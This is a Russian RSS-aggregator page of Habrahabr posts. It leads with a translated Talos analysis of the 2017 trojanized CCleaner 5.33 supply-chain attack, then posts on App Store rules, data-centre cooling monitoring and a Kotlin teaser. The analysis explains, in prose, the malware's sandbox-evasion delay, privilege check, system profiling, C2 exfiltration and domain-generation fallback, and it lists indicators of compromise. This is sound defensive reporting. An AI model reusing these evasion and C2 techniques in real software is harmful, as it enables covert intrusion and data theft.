-Поиск по дневнику

Поиск сообщений в rss_rss_hh_full

 -Подписка по e-mail

 

 -Постоянные читатели

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 1

Habrahabr








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

[Перевод] Что известно об атаке на цепи поставок CCleaner

Пятница, 29 Сентября 2017 г. 14:20 + в цитатник
Cloud4Y сегодня в 14:20 Администрирование

Что известно об атаке на цепи поставок CCleaner

  • Перевод


Атаки на цепи поставок (supply-chain attacks) — очень эффективный способ распространения вредоносного программного обеспечения в целевые организации. Это связано с тем, что при атаках на цепи поставок злоумышленники пользуются доверительными отношениями между производителем/поставщиком и клиентом, чтобы атаковать организации и отдельных лиц по различным мотивам. Червь Petya/Nyetya/NePetya, который был выпущен в сеть в начале 2017 года, показал насколько масштабны эти типы атак. Часто, как и в случае с Petya, исходный вектор атаки может оставаться скрытым в течение некоторого времени.

Недавно исследователи Talos заметили случай, когда серверы загрузки, используемые компанией-разработчиком для распространения легитимного пакета программного обеспечения, были использованы для загрузки вредоносного ПО на компьютеры ничего неподозревающих жертв. В течение некоторого периода версия CCleaner 5.33, распространяемая Avast, содержала многоступенчатую вредоносную нагрузку. 5 миллионов новых пользователей загружают CCleaner в неделю. Учитывая потенциальный ущерб, который может быть вызван сетью зараженных компьютеров подобного размера, решено было действовать быстро. 13 сентября 2017 года Cisco Talos уведомила Avast. В следующих разделах будут обсуждаться конкретные детали, касающиеся этой атаки.

Технические подробности


CCleaner — утилита, которая включает такие функции, как очистка временных файлов, анализ системы, определение способов оптимизации производительности, а также более упрощенный способ управления установленными приложениями.


Рисунок 1: Снимок экрана CCleaner 5.33

13 сентября 2017 года, проведя бета-тестирование клиентов новой технологией обнаружения эксплойтов, Cisco Talos обнаружила исполняемый файл, который определялся как вредоносная программа. Это был установщик CCleaner v5.33 с легитимных серверов загрузки CCleaner. Talos провёл первоначальный анализ, чтобы определить, что заставляет систему защиты блокировать CCleaner. Они определили, что, хотя загруженный исполняемый файл был подписан с использованием действительной цифровой подписи Piriform, CCleaner не был единственным приложением, которое было загружено. Во время установки CCleaner 5.33 32-разрядный двоичный файл CCleaner, также содержал вредоносную нагрузку с возможностью использовать алгоритм генерации домена (DGA), а также функции выдачи команд и управления (Command and Control — C2).

При просмотре страницы истории версий на сайте загрузки CCleaner выяснилось, что версия (5.33) была выпущена 15 августа 2017 года. 12 сентября 2017 года была выпущена версия 5.34. Версия, содержащая вредоносную нагрузку (5.33), распространялась между этими датами. Эта версия была подписана с использованием действительного сертификата, который был выпущен для компании Piriform Ltd, которую недавно приобрел Avast, компанией Symantec и действителен до 10.10.2018.


Рисунок 2: Цифровая подпись CCleaner 5.33

Также был обнаружен второй образец установщика, связанный с этой угрозой. Этот образец также был подписан с использованием действительного цифрового сертификата, однако отметка времени подписания была приблизительно на 15 минут позднее подписания первоначальной сборки.

Наличие действительной цифровой подписи в вредоносном двоичном коде CCleaner может указывать на значительную проблему, которая была причиной нарушений в процессе разработки или подписания. В идеале этот сертификат должен быть отозван. При создании нового сертификата необходимо следить за тем, чтобы злоумышленники не находились в среде, в которой можно было бы скомпрометировать новый сертификат. Только в процессе расследования возможно было собрать подробную информацию о масштабах этой проблемы и о том, как наилучшим образом ее решить.

В двоичном коде CCleaner был найден следующий артефакт компиляции:
S:\workspace\ccleaner\branches\v5.33\bin\CCleaner\Release\CCleaner.pdb

Учитывая наличие этого артефакта компиляции, а также тот факт, что двоичный код был подписан цифровой подписью с использованием действительного сертификата, вполне вероятно, что злоумышленник из вне скомпрометировал часть среды разработки или сборки и использовал этот доступ для вставки вредоносного кода в сборку CCleaner, которая была выпущена организацией. Также возможно, что инсайдер, имеющий доступ к средам разработки или сборки внутри организации, намеренно включал вредоносный код или имел скомпрометированную учетную запись, которая позволяла злоумышленнику изменять код.

Важно отметить, что, хотя предыдущие версии установщика CCleaner в настоящее время доступны на сервере загрузки, версия, содержащая вредоносные файлы, была удалена и больше не доступна.

Процесс установки вируса


'__scrt_get_dyn_tls_init_callback' был изменен для запуска кода CC_InfectionBase (0x0040102C) с целью перенаправления потока выполнения кода на вредоносный до продолжения обычных операций CCleaner. Вызываемый код отвечает за дешифрование данных, которые содержат два уровня вредоносной нагрузки: загрузчик PIC (позиционно-независимого программного кода) и DLL-файл.

Используя HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, 0,0), создаётся исполняемая куча. Содержимое расшифрованных данных, содержащих вредоносное ПО, копируется в кучу, исходные данные стираются. Затем вызывается PE-загрузчик и начинается его работа. Как только процесс заражения начался, двоичный код стирает области памяти, в которых ранее содержался PE-загрузчик и DLL-файл, освобождает ранее выделенную память, уничтожает кучу и продолжает исполняться с обычными операциями CCleaner.

PE-загрузчик использует методы позиционно-независимого кодирования, чтобы найти DLL-файл в памяти. Затем он переносит DLL в исполняемую память и вызывает DLLEntryPoint, чтобы начать его выполнение.

CCBkrdr_GetShellcodeFromC2AndCall отвечает за многие из вредоносных операций, обнаруженные Talos при анализе этого вредоносного ПО. Во-первых, он записывает текущее системное время. Затем он задерживает выполнение вредоносного кода на 601 секунду, вероятно, с целью уклониться от автоматизированных систем анализа, которые настроены на проверку ПО на вирусы в отладчике в течение предопределенного периода времени. Чтобы реализовать эту функцию задержки, вредоносное ПО вызывает функцию, которая пытается выполнить ping 224.0.0.0 с использованием таймаута delay_in_seconds, установленного на 601 секунду. Затем он определяет текущее системное время, чтобы узнать прошло ли 600 секунд. Если это условие не выполняется, вирус завершает выполнение, в то время как CCleaner продолжает выполняться. В ситуациях, когда вредоносное ПО не может выполнить IcmpCreateFile, оно возвращается к использованию функции Sleep () для реализации той же функции задержки. Вредоносная программа также сравнивает текущее системное время со значением, хранящимся в следующем разделе реестра:

HKLM \ SOFTWARE \ Piriform \ Agomo: TCID

Если время, хранящееся в TCID, ещё не пришло, вирус также прекратит выполнение.


Рисунок 3: Процедура задержки

Затем проверяются привилегии, назначенные пользователю. Если текущий пользователь, не является администратором, вредоносное ПО прекратит выполнение.


Рисунок 4: Проверка привилегий

Если у пользователя, запустившеего вредоносное ПО, есть права администратора, на зараженной системе активируется SeDebugPrivilege. Затем вредоносное ПО считывает значение «InstallID», которое хранится в следующем разделе реестра:

HKLM \ SOFTWARE \ Piriform \ Agomo: Muid

Если это значение не существует, вредоносное ПО создает его с помощью '((rand () * rand () ^ GetTickCount ())'.

Как только вышеупомянутые действия были выполнены, вирус начинает сбор системной информации, которая позже передается на сервер C2. Системная информация хранится в следующей структуре данных:


Рисунок 5: Структура данных CCBkdr_System_Information

После сбора информации о системе она зашифровывается и кодируется с использованием модифицированного Base64. Затем вредоносное ПО устанавливает связь с командным сервером (C2), как описано в следующем разделе.

Command and Control (C2)


Как только ранее упомянутая системная информация была собрана и подготовлена для передачи на сервер C2, начинается попытка передать её с использованием запроса POST HTTPS на 216[.]126[.]225[.]148.

Данные, полученные с сервера C2, проверяются, чтобы подтвердить, что они находятся в правильном формате для использования в CCBkdr_ShellCode_Payload. Пример показан ниже:


Рисунок 6: Структура данных CCBkdr_ShellCode_Payload

После установки вируса продолжаются обычные операции CCleaner. Ниже приведена диаграмма, описывающая работу этого вредоносного ПО на высоком уровне:


Рисунок 7: Схема процесса запуска вредоносной нагрузки

Алгоритм генерации домена


В ситуациях, когда основной сервер C2 не возвращает ответ на запрос HTTP POST, описанный в предыдущем разделе, вредоносная программа использует алгоритма DGA. В этом случае он основан на времени и может быть рассчитан с использованием значений текущего года и месяца. Ниже приведен список доменов DGA:


Рисунок 8: генерация доменов для 12 месяцев

Вредоносная программа будет инициировать DNS-поиск для каждого домена, генерируемого алгоритмом DGA. Если DNS-поиск не приведет к возврату IP-адреса, этот процесс будет продолжен. Вредоносная программа выполнит DNS-запрос активного DGA-домена и ожидает получить два IP-адреса с сервера доменных имен. Затем вредоносная программа вычислит вторичный сервер C2, выполнив серию битовых операций с полученными IP-адреса и объединив их для определения нового фактического адреса командного сервера. Диаграмма, показывающая этот процесс, приведена ниже:


Рисунок 9: Определение адреса командного сервера

Cisco Talos во время анализа определила, что DGA-домены не были заняты, поэтому они были зарегистрированы и заблокированы, чтобы злоумышленники не могли использовать их в своих целях.

Потенциальный ущерб


Воздействие этой атаки может быть серьезным, учитывая чрезвычайно большое число возможных систем. CCleaner утверждают, что по состоянию на ноябрь 2016 года он имеет более 2 миллиардов загрузок по всему миру и, как сообщается, прирост новых пользователей равен 5 миллионам в неделю.


Рисунок 10: Статистика CCleaner

Системы, на которые производилась установка CCleaner в период распространения вируса должны быть восстановлены до состояния на 15 августа 2017 года или переустановлены. Пользователи также должны обновиться до последней доступной версии CCleaner, чтобы избежать заражения. На момент написания этой версии была версия 5.34. Важно отметить, что, согласно странице загрузки CCleaner, бесплатная версия CCleaner не предоставляет автоматические обновления, поэтому это необходимо сделать вручную.

При анализе телеметрических данных Cisco Umbrella о доменах, связанных с этой атакой, Talos определил значительное количество систем, которые выполняли соответствующие DNS-запросы. Поскольку эти домены никогда не регистрировались, разумно сделать вывод о том, что единственной причиной является этот вирус. Только домены, относящиеся к августу и сентябрю (что коррелирует со временем, когда эта угроза была активна), показывают значительную активность.


Рисунок 11: Активность DGA домена за июль 2017 года

Как упоминалось ранее, версия CCleaner, которая включала это вредоносное ПО, была выпущена 15 августа 2017 года. Следующий график показывает значительное увеличение активности DNS, связанной с DGA-доменом, используемым в августе 2017 года:


Рисунок 12: Активность для домена в августе 2017 года


Рисунок 13: Активность для домена в сентябре 2017 года

После обращения к Avast было замечено, что C2 сервер, указанный по умолчанию, стал недоступным для зараженных систем. В результате мы увидели значительное увеличение количества запросов, направленных на DGA-домены.


Рисунок 14: Трафик после отключения сервера

Стоит также отметить, что на 18 сентября антивирусное обнаружение этой угрозы остается очень низким (1/64).


Рисунок 15: Проверка обнаружения вируса

Ещё причины для беспокойства


Позднее во время нашего исследования нам был предоставлен архив, содержащий файлы, хранящиеся на сервере C2. Наша исследовательская деятельность была отражена в содержимом базы данных MySQL, включенной в архивные файлы, что подтвердило подлинность данных.

При анализе кода с сервера C2 сразу выделяется список организаций, на которые была нацелена доставка загрузчика второго уровня. Основываясь на обзоре базы данных отслеживания C2, которая охватывает только четыре дня в сентябре, мы можем подтвердить, что по меньшей мере 20 машин жертв были заражены специализированными вредоносными нагрузками. Ниже приведен список доменов, на которые атакующие пытались настроить таргетинг. Не для всех компаний идентифицированных в файле .php был замечен обмен с С2 сервером.


Рисунок 16

PHP скрипт сравнивает системные маяки полученные с заражённой машины по трём значениям: $DomainList, $IPList и $HostList. Это необходимо для определения того, должна ли зараженная система доставлять вредоносную нагрузку Stage 2. Ниже приведен сжатый PHP-код, который демонстрирует это:


Рисунок 17

База данных C2 содержала две таблицы: одну, описывающую все машины, которые «общались» с сервером, и описание всех машин, получивших загрузку Stage 2. Причем обе из них были датированы с 12 сентября по 16 сентября. За этот период времени на сервер C2 было отправлено более 700 000 машин, и более 20 машин получили Stage 2 нагрузку. Важно понимать, что целевой список может быть изменён и был изменён в течение периода, когда сервер был активен для заражения целевых организаций.

Во время компрометации вредоносное ПО периодически связывалось с сервером C2 и передавало информацию о зараженных системах. Эта информация включала IP-адреса, время, имя хоста, домен, списки процессов и прочее. Вероятно, эта информация использовалась злоумышленниками для определения того, на какие машины таргетироваться на последних этапах атаки.

Основные данные подключения хранятся в таблице «Сервер». Вот пример для одного из узлов Talos в этой таблице базы данных:


Рисунок 18

А также список установленных программ.


Рисунок 19

И список процессов.


Рисунок 20

Вторая таблица базы данных содержала дополнительный набор данных, связанный с системами, которым фактически была доставлена нагрузка Stage 2. Эта таблица содержала аналогичную информацию, структура которой показана ниже:


Рисунок 21

Основываясь на анализе таблицы, очевидно, что эта инфраструктура предоставляет злоумышленникам доступ ко множеству разных целей. Учитывая фильтрацию на сервере C2, злоумышленники могут добавлять или удалять домены в любой момент времени в зависимости от среды или организаций, на которые они нацелены. На скриншоте ниже показано количество записей, которые содержались в таблице базы данных, используемой для хранения профилей систем:


Рисунок 22

На следующем снимке экрана показано количество затронутых правительственных систем по всему миру.


Рисунок 23

Уязвимые системы с доменом, содержащим слово «банк»:


Рисунок 24

Это демонстрирует уровень доступа для злоумышленников, полученный посредством использования этой инфраструктуры, а также подчеркивает серьезность и потенциальное воздействие этой атаки.

CODE REUSE


Talos рассмотрел заявления от исследователей Лаборатории Касперского о совпадении кода с образцами вредоносных программ, которые, как известно, используются Group 72. Хотя это никоим образом не является доказательством, мы можем подтвердить совпадение и согласны с тем, что это важная информация.

Слева: 2bc2dee73f9f854fe1e0e409e1257369d9c0a1081cf5fb503264aa1bfe8aa06f (CCBkdr.dll)

Справа: 0375b4216334c85a4b29441a3d37e61d7797c2e1cb94b14cf6292449fb25c7b2 (Missl backdoor — APT17 / Group 72)


Рисунок 25

ВЫВОД


Атаки на цепи поставок растут по скорости и сложности. В этом конкретном примере злоумышленник разработал систему, которая, как представляется, специально ориентирована на технологические компании, чтобы скомпрометировать огромное количество машин. Это усиливает обеспокоенность этими событиями и также подтверждает рекомендацию о том, что пользователи, загрузившие CClenaer в период заражения, должны не просто удалить заражённую версию CCleaner или обновиться до последней версии, но также должны восстановить данные из резервных копий, чтобы гарантировать полное удаление вредоносных программ.

Ниже приведены индикаторы компроментации, связанные с этой атакой.

File Hashes
6f7840c77f99049d788155c1351e1560b62b8ad18ad0e9adda8218b9f432f0a9
1a4a5123d7b2c534cb3e3168f7032cf9ebf38b9a2a97226d0fdb7933cf6030ff
36b36ee9515e0a60629d2c722b006b33e543dce1c8c2611053e0651a0bfdb2e9

DGA Domains
ab6d54340c1a[.]com
aba9a949bc1d[.]com
ab2da3d400c20[.]com
ab3520430c23[.]com
ab1c403220c27[.]com
ab1abad1d0c2a[.]com
ab8cee60c2d[.]com
ab1145b758c30[.]com
ab890e964c34[.]com
ab3d685a0c37[.]com
ab70a139cc3a[.]com

IP Addresses
216[.]126[.]225[.]148

Installer on the CC: dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83 (GeeSetup_x86.dll)

64-bit trojanized binary
128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f (EFACli64.dll)

32-bit trojanized binary: 07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55cf34902 (TSMSISrv.dll)

DLL in registry: f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a

Registry Keys:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\001
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\002
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\003
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\004
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\HBP
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/338980/


Метки:  

Больше сюрпризов от Apple: обновленные правила размещения на App Store

Пятница, 29 Сентября 2017 г. 14:08 + в цитатник
nanton сегодня в 14:08 Разработка

Больше сюрпризов от Apple: обновленные правила размещения на App Store

    Для разработчиков на iOS настала эпоха перемен: новые девайсы, новые инструменты, новые требования маркета. О технических особенностях обновленной платформы и о том, как следует оформлять и продвигать свое детище на новой версии App Store, было сказано уже немало. Сегодня мы хотим обратиться к еще одной перемене, которая обсуждается сейчас менее широко — изменениям в правилах публикации.



    В последние месяцы Apple корректировали и дополняли список официальных требований к продуктам, размещаемым на сторе уже дважды. Первая порция правок пришлась на июнь, как заблаговременная подготовка почвы для осеннего релиза; вторая была опубликована совсем недавно. За каждой следовала массовая зачистка — удаление тысяч приложений с маркета без предупреждений и надежды на амнистию. Раз уж все так серьезно, пожалуй, стоит поподробнее разобрать, что именно изменилось и стоит ли уже начинать бояться. Мы изучили июньское и сентябрьское соглашения и собрали все значительные нововведения здесь, под катом.

    Забегая вперед: бояться не стоит, но побаиваться можно. Изменений достаточно много, они рассыпаны по тексту и касаются различных аспектов разработки и публикации. Львиную долю тайтлов, которые попали под раздачу, составляет откровенный скам, что внушает известное ощущение безопасности: чего нам волноваться, мы же не мошенники. Но на деле, попасться можно и на достаточно безобидных мелочах просто по незнанию — несколько таких кейсов нам уже попадалось.

    Итак, начнем с июньских тезисов. Что здесь нужно знать?

    1. Удаляться без разговоров и предупреждений будут:

    • Приложения для купли-продажи контролируемых веществ (за исключением официальных приложений аптечных сетей).
    • Устаревшие приложения, для которых разработчики больше не обеспечивают поддержку, что приводит к некорректной работе.
    • Приложения, созданные на базе шаблонов, при помощи специальных сервисов типа «собери сам без знания кода».
    • Приложения, использующие технологии, фреймворки и функции, несовместимые с новыми версиями OS.
    • Приложения для торговли бинарными опционами.

    2. Приведен список требований для антиспамерских продуктов. Подобные функции обязательно должны быть упомянуты в описании, причем с развернутым объяснением, по какому алгоритму происходит фильтрация и блокируются звонки/сообщения. Запрещается использовать полученные данные для любых целей, не связанных с работой приложения (продажа, трэкинг, сбор информации о пользователе, таргетирование рекламы).

    3. То же относится и к музыкальным приложениям, которые получают доступ к пользовательским данным в Apple Music.

    4. Медицинские приложения также будут подвергаться более жесткому контролю. В описании должна раскрываться методология, которая используется для медицинских заключений и гарантирует их точность. Сразу будут отклоняться продукты, которые якобы производят операции, требующие специального оборудования (измеряют давление, температуру, уровень сахара в крови, делают рентген). Обязательно включение рекомендации обратиться к специалисту для более точной консультации.

    5. Продолжительность периода подписки не может составлять менее недели; подписка должна быть актуальна на всех девайсах пользователя.

    6. К кругу действий, к которым нельзя принуждать пользователя, блокируя возможность пользоваться функционалом, добавились просмотр видео и клик на рекламный баннер (в дополнение к размещению, отзыва, оценки или скачиванию другого приложения). Также запрещено предлагать за них вознаграждение, денежное или любое другое.

    7. Допускается использование кода «со стороны», при условии, что оно осуществляется через WebKit или JavaScript Core, а разработчик состоит в Apple Development Program.

    8. В текст добавлены мелкие изменения, касающиеся разных аспектов оформления:

    • Названия: не должны включать выражения типа «for children», «for kids», если не принадлежат к соответствующей категории, а также отсылки к цене.
    • В сабтайтлах запрещено: ссылаться на другие приложения или давать информацию о продукте, которую не можете подтвердить.
    • Иконки: допускается использование кастомизированных иконок, при условии что остается возможность вернуться к исходной. Вариации иконок должны быть связаны с контентом приложения (например, иконки, отображающие разные типы погоды для утилиты с прогнозами) и синхронизироваться по всей системе.

    Теперь перейдем к самой свежей, сентябрьской версии. Здесь список правок полаконичнее и во многом тематически перекликается с и продолжает то, что было намечено летом:

    1. Удаляться также будут приложения, функционал которых не соответствует приведенному описанию. В качестве примера App Store прямым текстом приводит антивирусы, которые, согласно источникам, формируют основную массу жертв последней чистки. Кстати, обещать контент или сервисы, которые продукт не предлагает, нельзя не только на маркете, но и оффлайн.

    2. Аутентификация через Face ID должна осуществляться только и исключительно при помощи LocalAuthentication (использовать ARKit и прочие технологии запрещено). Для пользователей младше 13 лет следует предоставить альтернативный метод аутентификации.

    3. ARKit допустимо применять только в том случае, если вы планируете подарить пользователям «богатый, интегрированный опыт взаимодействия с дополненной реальностью». Иными словами, парой моделей или анимаций тут не обойтись.

    4. Внутри приложения допускается передача денежных средств от пользователя к пользователю, но только добровольно и в качестве подарка, а не в обмен на цифровой контент или услуги (в этом случае следует оформить транзакцию как IAP). Разработчик не имеет права забирать часть средств себе.

    5. Продукты, в которых используются технологии типа ARKit, Camera API, Photo API для распознавания лиц, обязательно должны иметь пользовательское соглашение и запрашивать согласие на сбор данных. Полученную информацию нельзя использовать для целей, не оговоренных в соглашении.

    6. Дискриминация по этническому признаку (наряду с полом, сексуальностью и религией) теперь тоже будет попадать под санкции.

    7. В экстренных случаях (связанных, например, с торговлей людьми или насилием над детьми) Apple оставляет за собой право не просто удалить приложение, но и сообщить в соответствующие органы.

    Если обобщить, изменения касаются прежде всего безопасности данных и некоторых этических моментов. Конечно, в зоне риска в первую очередь те, кто совсем потерял совесть, однако с таким обилием требований к сбору данных многие приложения могут не пройти модерацию. Кроме того, Apple очерчивает границы для свежеиспеченных технологий и также понемногу начинает закручивать гайки в отношении инструментария. В первую очередь имеет смысл пристально отслеживать будущие обновления текста тем, кто работает с ARKit, Face ID и прочими новинками — они, как видно из всего сказанного, сейчас на стадии активной кодификации.

    Удачи и долгой жизни на маркете!
    Original source: habrahabr.ru (comments, light).

    https://habrahabr.ru/post/338982/


    Метки:  

    CIS Benchmarks: лучшие практики, гайдлайны и рекомендации по информационной безопасности

    Пятница, 29 Сентября 2017 г. 13:37 + в цитатник

    Метки:  

    Мониторинг инженерной инфраструктуры в дата-центре. Часть 3. Система холодоснабжения

    Пятница, 29 Сентября 2017 г. 11:09 + в цитатник
    dataline сегодня в 11:09 Администрирование

    Мониторинг инженерной инфраструктуры в дата-центре. Часть 3. Система холодоснабжения


      Система охлаждения NORD-4.

      Мониторинг инженерной инфраструктуры в дата-центре. Часть 1. Основные моменты
      Мониторинг инженерной инфраструктуры в дата-центре. Часть 2. Система энергоснабжения

      Мы уже рассказывали о том, что такое система мониторинга и почему ее необходимо проектировать на этапе строительства. В статье «Мониторинг инженерной инфраструктуры в дата-центре» мы рассмотрели общие ситуации, в которых необходимо проводить комплексный мониторинг, а также рассказали об особенностях наших систем.

      Сегодня поговорим о том, как устроена система мониторинга холодоснабжения на примере дата-центра NORD-4. Перед прочтением рекомендуем ознакомиться со статьей о том, как создавалась система холодоснабжения.

      Для проекта NORD-4 мы выбрали водно-гликолевую систему охлаждения. На схеме выше она обозначена желто-синими линиями. Поскольку холодоносителем в системе является жидкость, крайне важно следить за:

      • температурой;
      • влажностью и протечками;
      • давлением в контуре;
      • работой чиллеров, насосов и прочего оборудования.

      Все кондиционеры и чиллеры подключены к общей системе мониторинга. Мы следим за показателями каждого устройства.


      Дашборд с параметрами.

      В системе мониторинга также отображается статус работы оборудования: отключен, штатная работа, авария, ведется ремонт.


      Зеленым цветом обозначены штатно работающие чиллеры, белым – отключенные. Если что-то пошло не так, индикатор загорается красным цветом.

      Датчики температуры


      Параметр-фронтмен в системе мониторинга – это температура в холодных коридорах машинных залов. Средняя температура в залах колеблется в пределах от 23 до 27 Сo. При такой температуре оборудование еще не греется, но уже не покрывается инеем :). Этот параметр прописан в SLA, и за его несоблюдение придется платить штраф заказчику. От него мы и «пляшем», настраивая всю систему холодоснабжения в дата-центре.

      Стабильность температуры в залах – это не дискретный параметр, а процесс, который обеспечивается оборудованием системы холодоснабжения.


      Температура в машинном зале на дашборде системы мониторинга. Показатели температуры отражают расположение датчиков в зале.

      Во всех холодных коридорах мы разместили по три температурных датчика. Предвидим в комментариях спор об их оптимальном количестве и месте размещения. Наша практика показывает, что трех штук вполне достаточно, и вот почему:

      • Если возникнут проблемы с холодоснабжением в целом, мы увидим изменения температуры на всех датчиках. Частные же изменения в рамках одной стойки говорят о проблемах в установке оборудования или локальной неисправности стойки, а не о проблемах в системе холодоснабжения.
      • По желанию заказчика мы можем установить на его стойки отдельный набор датчиков, которые обеспечат максимальный контроль, но это, скорее, исключение.

      В горячих коридорах установлено по одному датчику. Их показания несут исключительно информационный характер.

      В двух словах, используйте датчики рационально и без паранойи. Избыточное количество датчиков создает «шум» на панели наблюдения и не дает инженерам сосредоточиться.


      Температурный датчик, установленный на стойке.

      Температура жидкости. Вода охлаждается по следующей схеме. Чиллер охлаждает гликоль, который поступает в теплообменник. За счет холодного гликоля в теплообменнике теплая вода охлаждается. После того, как вода и гликоль «обменялись» температурами, вода идет в кондиционеры в залах, а гликоль возвращается в чиллер.


      Взаимодействие наружного и внутреннего контуров в чиллерной схеме.

      В первую очередь, для системы важна температура воды, которая поступает в кондиционеры. Она должна стабильно держаться на заданном уровне. Для нашей системы это 18 Сo.

      Для регулировки температуры мы используем трехходовой клапан (ТХК). Он регулирует объем воды, выходящей из теплообменника. Если температура повышается, клапан открывается сильнее и подает больше воды в теплообменник. Текущий процент открытия ТХК выводится в интерфейс системы мониторинга.

      Осталось разобраться с мониторингом температуры гликоля и воды в самих контурах. Температура отслеживается на всей протяжённости трубопровода, датчики мы разместили так:

      • на входе и выходе чиллера;
      • на входе и выходе теплообменника;
      • на входе и выходе из кондиционера.

      Температура «за бортом». Этот показатель не касается дата-центра напрямую, но он также важен в мониторинге. Мы не пользуемся средними показателями по Москве, так как температура воздуха на Боровой и на Коровинском может иметь перепад в несколько градусов. Нас интересует погода именно там, где стоит оборудование.

      На каждой локации установлена независимая метеостанция, считывающая температуру, влажность и скорость ветра. Эти данные показывают, как работает система кондиционирования в реальных погодных условиях на конкретном объекте. Поскольку в Москве годовой перепад может составлять от –35 Сo до +35Сo, мы обязаны следить за погодой и заранее готовиться к ее причудам.


      Так выглядит установленная на объекте независимая метеостанция.

      К примеру, каждым летним вечером дежурный инженер получает прогноз погоды из трех источников. Если ожидается температура выше 30 Сo, ответственные специалисты получают sms-рассылку с призывом быть бдительнее.


      Данные температуры и влажности с метеостанции в дата-центре на дашборде системы мониторинга.

      В целом же мониторинг не имеет сезонного деления, в отличие от оборудования, которое нужно готовить к зиме/лету.

      Другие датчики


      Датчики протечек. В каждом машинном зале NORD-4 установлено по 14 кондиционеров Stulz. Они оснащены заводскими датчиками протечек, но для мониторинга их недостаточно. В местах задвижек, стыков труб, на теплообменнике, под кондиционерами и в других критичных узлах мы установили независимую сеть датчиков. Данные от них собираются и поступают в общую систему.

      Весь четвертый этаж дата-центра выделен под систему кондиционирования: там находятся теплообменники, насосы, баки. Мы не ставим датчики протечек под каждой единицей охлаждающего оборудования, так как в полу сделана «разуклонка». Если образуется протечка, вода уйдет по сливам в накопительные емкости. Перед каждой сливной воронкой стоят датчики протечек. Иными словами, мониторится не устройство, а зона, откуда может потечь вода.


      Так на дашборд выводятся сработавшие датчики протечек.

      Давление жидкости. Помимо температуры и влажности, мы отслеживаем давление жидкости в охлаждающем контуре. Поскольку система замкнута, падение давления может означать разгерметизацию – читай, протечку. Резкое падение – это уже серьёзная проблема, предусмотренная в аварийной инструкции.

      Мониторинг давления осуществляется в разных точках на всех этажах дата-центра. Показатель нормы для давления слегка плавающий: это страхует систему от ложных срабатываний из-за перепада высот.

      Сложности в построении системы мониторинга


      На первый взгляд кажется, что пуск системы мониторинга – линейный процесс: установили датчики, объединили их в сеть, усадили людей за пульт и забили в систему пороговые значения. Но в случае с NORD-4 были нюансы: залы заполняются постепенно, мы не знаем заранее, что за оборудование и на каких стойках будет размещено.

      Запуская систему мониторинга, мы выставляли пороговые значения, руководствуясь проектным решением. Так, показатель WATER OUT (вода, которая поступает в кондиционеры в залах) должен составлять стабильные 18 Сo. Исходя из этого вычисляем остальные значения и создаем таблицу «идеальных» параметров.

      По мере заполнения ЦОДа контрольная панель может начать выдавать ложные предупреждения. Это крайне опасно, так как внимание специалиста рассеивается, и он может пропустить настоящую проблему. Мы называем это «перемониторингом»: на новом оборудовании показатели могут слегка плавать внутри пороговых значений, создавая варнинги.

      Поэтому тонкая настройка происходит в процессе работы. Все изменения пороговых значений и параметров мониторинга сначала согласуются с техническим директором и руководителем эксплуатации, и только после этого заносятся в систему.

      Пара советов


      Оповещения. Чтобы вовремя узнавать о неполадках, настройте разные оповещения в системе мониторинга. У нас предусмотрено три вида автоматических оповещений:

      • Звуковое оповещение в центре мониторинга.
      • Отображение на экране. За дашбордом круглосуточно следит минимум один инженер.
      • SMS- и email-уведомления ответственным специалистам.

      В комментариях к прошлым статьям нас спросили, как мы боремся с человеческим фактором: рассеянностью, естественными потребностями и т.д. Ответ прост: мы не экономим на персонале, обучении и тренингах. Каждая дежурная смена, включая ночную, состоит из четырех инженеров. Поэтому если кому-то захочется выпить кофе или выйти в туалет, панель не останется без наблюдения. Как мы отбираем и готовим дежурных инженеров, читайте в этой статье.

      По инструкции, как только появляется «красный код», у специалиста есть буквально несколько минут, чтобы всех оповестить и вернуть работоспособность оборудования. О нашей службе техподдержки мы рассказывали в мае.


      Дежурная смена за работой.

      Мониторинг N+1. Продумайте резервирование системы мониторинга, чтобы исключить утрату контроля над дата-центром. У нас большинство устройств последовательно соединены по протоколу ModBus RS-485, и на этапе проектирования дата-центра мы продумывали, как пойдут трассы системы мониторинга, и прокладывали резервные маршруты.

      Маркировка. Еще одна обязательная практика. Маркируйте датчики и составляйте схемы расположения так, чтобы инженеры без труда понимали, где их искать.

      Сбор статистики. Собирайте как можно больше данных по оборудованию и системам. Даже если для текущего мониторинга эти данные не нужны, они будут полезны в будущем. Проанализировав данные статистики, можно определить, какие ещё показатели, кроме основных, отличались от нормы перед поломкой. Например, оборудование вибрировало или шумело. Это поможет планировать диагностику с большей точностью, а иногда и предугадать возможную поломку.

      На этом всё. В следующей статье серии мы расскажем о мониторинге сетевой инфраструктуры. Ждём ваших вопросов.
      Original source: habrahabr.ru (comments, light).

      https://habrahabr.ru/post/338966/


      Kotlin, puzzlers and 2 Kekses: Вы уверены, что знаете, как ведет себя Kotlin?

      Пятница, 29 Сентября 2017 г. 10:42 + в цитатник
      BigSolarWolf сегодня в 10:42 Разработка

      Kotlin, puzzlers and 2 Kekses: Вы уверены, что знаете, как ведет себя Kotlin?

        Вначале была Java (ладно, не то чтобы в самом начале… но наша история начинается именно здесь), шло время, и спустя 20 с небольшим лет умные ребята из JetBrains спроектировали и зарелизили Kotlin, «более лучшую» Java, универсальный язык, понятный, мощный и прозрачный.

